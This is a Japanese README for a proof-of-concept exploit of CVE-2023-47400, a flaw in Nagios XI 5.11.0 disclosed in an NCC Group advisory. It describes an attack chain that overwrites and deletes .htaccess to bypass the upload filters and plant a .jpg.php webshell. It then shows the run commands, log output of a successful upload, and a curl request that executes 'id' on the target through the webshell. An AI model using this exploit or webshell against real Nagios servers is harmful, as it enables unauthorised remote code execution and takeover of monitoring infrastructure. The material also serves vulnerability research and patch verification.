
CVE-2023-47400 の概念実証
CVE-2023-47400 の概念実証
認証済みのPHPリモートコード実行(Nagios XI 5.11.0 の任意ファイル書き込みを利用)
[!Note] このPoCはNCCグループが公開した技術勧告に基づいています https://research.nccgroup.com/2023/12/13/technical-advisory-multiple-vulnerabilities-in-nagios-xi/
このPoCは以下のプロセスに従います:
placeholder.jpg をアップロードします(JFIFマジックバイトヘッダのみで、内容はありません)rename機能を使用して、画像を.htaccessに名前変更します(これにより既存の.htaccessファイルが上書きされます)delete機能を使用して、.htaccessファイルを削除します.jpg.php二重拡張子で画像署名を偽装)この脆弱性の悪用により、Nagios XI ホスト上でリモートコード実行が可能になり、ファイルアップロードフィルタ(ファイル署名およびファイル拡張子フィルタ)とPHP実行防止(.htaccess経由)をバイパスします。
[!Warning] このエクスプロイトは、PHPコード実行を許可するために、ホスト上の
<NAGIOS_WEB_ROOT>/includes/components/custom-includes/images/.htaccessファイルを消去します!
# create a venv to dependency isolation
python3 -m venv .venv
source .venv/bin/activate
# run pip install before running the exploit
pip install -r requirements.txt
画像アップロードフォルダに配置するPHPペイロードをカスタマイズします
エクスプロイトスクリプトを実行 :
python exploit.py
# the exploit generates a webshell and upload it with uuid as filename
[...]
INFO:cve_2023_47400:Successfuly uploaded payload at
INFO:cve_2023_47400:Usage :https://10.10.11.248/nagiosxi/includes/components/custom-includes/images/6ac234ca-8921-4e7e-a833-bf1ba03d2a3c.jpg.php
INFO:cve_2023_47400:Exploit completed successfuly
$ curl -k 'https://10.10.11.248/nagiosxi/includes/components/custom-includes/images/6ac234ca-8921-4e7e-a833-bf1ba03d2a3c.jpg.php?cmd=id' --output -
JFIF
uid=33(www-data) gid=33(www-data) groups=33(www-data),121(Debian-snmp),1001(nagios),1002(nagcmd)